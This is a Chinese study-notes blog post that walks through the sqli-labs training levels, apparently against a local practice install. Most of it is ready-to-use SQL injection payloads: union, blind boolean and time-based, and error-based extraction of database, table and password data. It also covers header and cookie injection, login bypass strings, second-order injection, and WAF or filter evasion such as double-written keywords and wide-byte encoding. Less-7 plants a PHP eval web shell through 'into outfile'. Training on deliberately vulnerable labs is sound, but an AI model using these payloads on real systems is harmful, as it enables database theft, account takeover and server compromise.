sqli-lab学习笔记

本文是一篇关于SQL注入的学习笔记,详细记录了基础和高级挑战的各个阶段,包括GET和POST类型的单引号、双引号、整型、双注入、盲注等各种类型注入的技巧和方法,涉及报错、布尔、时间和报错盲注,以及如何绕过WAF等防护措施。通过实验学习,理解SQL注入原理并提升安全防护能力。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录


information_schema.schemata包含所有数据库的名

字段含义
schema_name数据库名

information_schema.tables包含所有库的表名

字段含义
table_schema数据库名
table_name表名

information_schema.columns包含所有表的字段

字段含义
table_schema数据库名
table_name表名
column_name列名

Page-1(Basic Challenges)

Less 1 GET - Error based - Single quotes - string (基于错误的GET单引号字符型注入)

id=1显示正常,加上单引号id=1’页面报错
在这里插入图片描述
根据报错信息可以猜测输入的$id值在单引号中
查看源代码,验证猜想

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

以下id为非正确值,使用--+截断,也可用#的url编码%23截断
payload
判断列数

?id=-1' order by 3--+

判断显示位

?id=-1' union select 1,2,3 --+

在这里插入图片描述
显示位为2和3
爆库名得库名为security

?id=-1' union select 1,2,database() --+

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

或者

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

其中0x7365637572697479为库名security的16进制
得emails,referers,uagents,users四张表
爆users表字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

或者table_name=用users的16进制代替
得如下字段

user_id
first_name
last_name
user
password
avatar
last_login
failed_login
id
username
password

我们需要获取username以及对应的password的值
爆数据 用0x3a间隔数据

?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users --+

得到对应数据(列举五个)

idusernamepassword
1DumbDumb
2AngelinaI-kill-you
3Dummyp@ssword
4securecrappy
5stupidstupidity

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

跟Less-1的payload思路一样,不过$id的值没有放在引号中

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

同上,payload=?id=-1

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

同上,$id的值放在带括号的单引号中

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

同上,payload=?id=-1’)

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

同上,$id的值放在双引号中

$id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

同上,payload=?id=-1"

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注,盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
布尔盲注常用到以下几个函数

函数含义
left(a,b)左侧截取 a 的前b个字符
substr(a,b,c)/mid(a,b,c)从第 b 个字符开始 截取 a 中连续 c 个字符
ascii(a)/ord(a)将a转化为ascii码

时间盲注除以上函数外常用到以下函数

函数含义
if(exp,a,b)如果exp为真,则返回 a ,否则返回 b
sleep(a)暂停 a 秒

报错盲注常用到以下函数

函数含义
extractvalue(a,concat(0x7e,b)将a插入xpath格式的b中,如果b不是该格式将报错
exp(a)返回自然对数e为底,a为幂的值,常用exp(~xxx)超出double范围报错
concat()该函数报错时将查询的信息显示出来
floor()取整函数
rand()产生一个0-1之间的随机数
count(*)返回行数
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

floor(rand()*2)要么为0要么为1,由concat函数连接后,返回database()0或者database()1,表中有多少数据就生成多少个该随机数值,对他们进行group by 分组,就只有database()0和database()1了,在加上count(*),就会因为键值重复而报错,database()可替换为其他查询语句

回到Less-5
布尔盲注
payload
判断数据库名长度

?id=1' and length(database())=8 --+

爆数据库名

	?id=1' and left(database(),1)='s' --+
    ?id=1' and left(database(),2)='se' --+
    ?id=1' and left(database(),3)='sec' --+
    ?id=1' and left(database(),4)='secu' --+
    ?id=1' and left(database(),5)='secur' --+
    ?id=1' and left(database(),6)='securi' --+
    ?id=1' and left(database(),7)='securit' --+
    ?id=1' and left(database(),8)='security' --+

爆表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+

可知第一张表第一个字符为e,依次类推
爆字段名

?id=1' and (ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117 --+

可知users表中第一个字段第一个字符为u,以此类推
爆数据

 ?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+

可知password字段中第一个数据第一个字符为D,以此类推

时间盲注
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况
payload=?id=1' and if(布尔盲注payload核心部分,sleep(5),1)--+
payload
判断数据库名长度

?id=1' and if(length(database())=8,sleep(5),1) --+

爆数据库名

	?id=1' and if(left(database(),1)='s',sleep(5),1) --+
    ?id=1' and if(left(database(),2)='se',sleep(5),1)  --+
    ?id=1' and if(left(database(),3)='sec',sleep(5),1) --+
    ?id=1' and if(left(database(),4)='secu',sleep(5),1) --+
    ?id=1' and if(left(database(),5)='secur',sleep(5),1) --+
    ?id=1' and if(left(database(),6)='securi',sleep(5),1) --+
    ?id=1' and if(left(database(),7)='securit',sleep(5),1)--+
    ?id=1' and if(left(database(),8)='security',sleep(5),1) --+

爆表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1) --+

可知第一张表第一个字符为e,依次类推
爆字段名

?id=1' and if((ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117,sleep(5),1) --+

可知users表中第一个字段第一个字符为u,以此类推
爆数据

?id=1' and if((ascii(substr(( select password from users limit 0,1),1,1)))=68,sleep(5),1)--+

可知password列中第一个数据第一个字符为D,以此类推
报错注入
payload
同样
判断列数

?id=-1' order by 3--+

爆数据库名,得知表名为security

?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a --+

爆表名,

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a --+

得表emails

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))a from information_schema.tables group by a --+

得表referers
依次类推得到表users
爆字段名

?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a --+

得字段user_id

?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))a from information_schema.tables group by a --+

得列first_name
依次类推得到字段username,password

?id=-1' union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a --+

得用户名Dumb,依次类推得到所有用户名和密码

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

同上,payload=?id=-1"

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

常用函数

函数含义
load_file(file_name)读取文件并返回该文件的内容作为一个字符串
load data infile从一个文本文件中读取行,并装入一个表中
select…into outfile可以把被选择的行写入一个文件中

我们首先需要设置MySQL文件可以写入
在my.ini中,写入如下一行并重启服务

secure_file_priv=""

查看源码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

$id在单引号双括号中
payload

?id=1')) union select 1,2,'<? php @eval($_POST["123"]); ?>' into outfile "D:\\phpStudy\\WWW\\sqli\\Less-7\\aaa.php" --+

我们可以看一下文件是否写入成功

http://127.0.0.1/sqli/Less-7/aaa.php

在这里插入图片描述
文件是存在的,所以用菜刀直接连接即可
在这里插入图片描述

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

同Less-5中布尔盲注

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

同Less-5中时间盲注

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

同上
payload=?id=1"

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

POST与GET注入不同,GET注入可直接在url上修改数据,POST则数据放置在HTML HEADER内,提交需要burp抓包或者用hackbar等工具来进行
三种方法
1.union联合查询
同Less-1
payload
查列数,得知共两列

uname=-1' order by 2 --+&passwd=1&submit=Submit

看显示位

uname=-1' union select 1,2 --+&passwd=1&submit=Submit

在这里插入图片描述
爆库名,得数据库名为security

uname=-1' union select 1,database() --+&passwd=1&submit=Submit

爆表名,得emails,referers,uagents,users四张表

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=1&submit=Submit

爆users表字段名

uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=1&submit=Submit

得如下字段

user_id
first_name
last_name
user
password
avatar
last_login
failed_login
id
username
password

爆users表中username和password数据

uname=-1' union select 1,group_concat(id,0x3a,username,0x3a,password) from users --+&passwd=1&submit=Submit

2.报错注入
爆库名

uname=-1' union select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a --+&passwd=1&submit=Submit

或者

uname=1' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表名(推荐用extractvalue的方法,可以一次性爆出多个表,再用not in可查出所有表,之后仅展示extractvalue报错的方法)

uname=-1' union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))a from information_schema.tables group by a --+&passwd=admin&submit=Submit

或者

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

爆字段名

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

爆出字段名’user_id’,‘first_name’,‘last_name,us’,加上not in 继续爆字段名

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name,us') ))) --+&passwd=admin&submit=Submit

爆表users中username和password列数据

uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

3.万能密码

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

看这条语句,如果我们输入username为admin' or '1' ='1#,密码随意
那么这条语句成为

SELECT username, password FROM users WHERE username='admin' or '1' ='1' # and password='$passwd' LIMIT 0,1;

这句话因为or ‘1’ = ‘1’ 恒成立,所以语句也恒成立
这里我们直接输入admin' #也可以起到同样的效果

SELECT username, password FROM users WHERE username='admin' #' and password='$passwd' LIMIT 0,1

同样可以登录成功

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

同Less-11
payload:uname=1")

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

同Less-11中报错注入方法
payload:uname=1’)

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

同Less-11中报错注入方法
payload:uname=1"

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

同Less-5中时间延迟注入
测数据库名长度

uname=admin' and if(length(database())=8,sleep(5),1) --+&passwd=admin&submit=Submit

爆库名

uname=admin' and if(left(database(),1)='s',sleep(5),1) --+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),2)='se',sleep(5),1)  --+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),3)='sec',sleep(5),1) --+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),4)='secu',sleep(5),1) --+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),5)='secur',sleep(5),1) --+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),6)='securi',sleep(5),1) --+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),7)='securit',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),8)='security',sleep(5),1) --+&passwd=admin&submit=Submit

爆表名

uname=admin' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1) --+&passwd=admin&submit=Submit

爆字段名

uname=admin' and if((ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117,sleep(5),1) --+&passwd=admin&submit=Submit

爆数据

uname=admin' and if((ascii(substr(( select password from users limit 0,1),1,1)))=68,sleep(5),1) --+&passwd=admin&submit=Submit

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

同上
payload:uname=admin")

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

同上,不过这次在password=后面添加payload
如爆库名

uname=admin&passwd=123' and extractvalue(1,concat(0x7e,(select database()))) --+&submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

在输入框输入正确的用户名和密码,可以看到显示出我们的User-Agent信息,大概可以猜测注入点在User-Agent上,我们把User-Agent改成其它内容,证实了我们的猜测
在这里插入图片描述
所以同报错注入,不过后面需要加and '闭合单引号
如爆库名

User-Agent: 'and extractvalue(1,concat(0x7e,(select database()))) and '

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

同上,只是注入点在referer

Referer:'and extractvalue(1,concat(0x7e,(select database()))) and '

Page-2 (Advanced Injections)

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

在使用正常账号密码admin登陆时,cookie中uname=admin,所以同上,显示位在cookie

Cookie: uname=admin'and extractvalue(1,concat(0x7e,(select database()))) and '

Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

同上,注入点依旧在cookie,不过这次cookie中uname=YWRtaW4=
看上去像是个base64编码,经查询,果然YWRtaW4=是admin的base64编码
所以我们只需要将payload经过base64编码即可

admin'and extractvalue(1,concat(0x7e,(select database()))) and '

的base64编码为

YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSkpKSBhbmQgJw==

payload

Cookie: uname=YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSkpKSBhbmQgJw==

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

同上,将明文中单引号改为双引号

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

同less-1,不过这里注释符号被过滤了,我们可以在Less-1的payload后面去掉注释符号加上and '1来闭合单引号,而且这里显示位在2

?id=-1' union select 1,database(),3 and '1

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

我们随意注册一个账号,登陆进去后可以看到修改密码的表单
查看源码

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

如果我们注册一个username为admin’#的用户,那么执行修改密码的语句时,就成了这样

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

也就是

UPDATE users SET PASSWORD='$pass' where username='admin'

在修改用户admin’#的密码时,就能够修改admin的密码

Less-25 Trick with OR & AND (过滤了or和and)

or和and被过滤时,常用以下几种方式绕过过滤

  • 1.大小写变形
    如Or、AnD、ANd等等
  • 2.双写
    如oorr、anandd等等
  • 3.使用符号形式
    && ||等
  • 4.使用hex、url编码等
    将and、or进行编码 有时&&也被过滤时,使用&&的url编码%26%26也许可以绕过
    payload
?id=1'

报错,注入点存在
猜列数

?id=-1' order by 3--+

发现我们输入的句子变成了

-1' der by 3-- 

我们可以双写or,得知有3列

?id=-1' oorrder by 3--+

爆库名

?id=-1' union select 1,2,database() --+

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

这里会报错,看报错的内容发现,information中的or的也被过滤了,同样我们可以双写or

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

爆字段名

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+

爆数据,注意这里password中or也被过滤了

?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) from users --+

Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)

同上,这不过这里是数字型,不用加单引号
payload:?id=-1

less 26 Trick with comments and space (过滤了注释和空格的注入)

这道题过滤了很多东西,查看源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

过滤的空格都不能用内联注释符号代替,而网上说的%0a,%0b之类的代替空格,据说在Windows上不管用,所以我们可以找一个不需要空格的查询语句,报错注入的extractvalue和updatexml就是很不错的选择
–和#被过滤了,可以用or ‘1’='1来闭合单引号
payload
爆库名,用%26%26代替&&为and,用括号()框住database()来代替空格

?id=1'%26%26extractvalue(1,concat(0x7e,(select(database()))))oorr'1'='1

爆表名

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))oorr'1'='1

爆字段名

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))))oorr'1'='1

爆数据

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)where(id)=1)))oorr'1'='1

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

同Less-26 不过没有过滤or,过滤了select和union大小写替换即可绕过,如sElEcT
爆表名

?id=1'%26%26extractvalue(1,concat(0x7e,(sElecT(database()))))or'1'='1

less 27a GET - Blind Based- All your UNION & SELECT belong to us

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入

?id=1') or ('1')=('1

正常显示可知加单引号和括号闭合

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

Less-29 Protection with WAF 基于WAF的一个错误

直接用Less-1的payload就行了

Less-30 Get-Blind Havaing with WAF

同上,不过用双引号闭合
payload:?id=-1"

Less-31 FUN with WAF

同上,不过用带括号的双引号闭合
payload:?id=-1")

Less-32 Bypass addslashes()

宽字节注入
mysql在进行GBK编码时,会认为两个字符是一个汉字,如%df%27
通常在过滤引号时,用反斜杠转义引号,如’,如果我们可以将引号前面的反斜杠去掉,就绕过了过滤,'的编码为%5c%27,我们在前面加上%df,就成了%df%5c%27,此时会认为%df%5c为一个汉字,此时%27就会单独作为一个字符
payload
爆库名

?id=-1%df%27%20union%20select%201,2,3%20--+

爆表名

?id=-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+

爆字段名,为了避免使用单引号,表名users用十六进制表示

?id=-1%bf%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273%20--+

爆数据

?id=-1%bf%27%20union%20select%201,2,group_concat(id,0x3a,username,0x3a,password)%20from%20users%20--+

Less-33 Bypass addslashes()

payload同Less-33一模一样

Less-34 Bypass Add SLASHES

Less-35 why care for addslashes()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值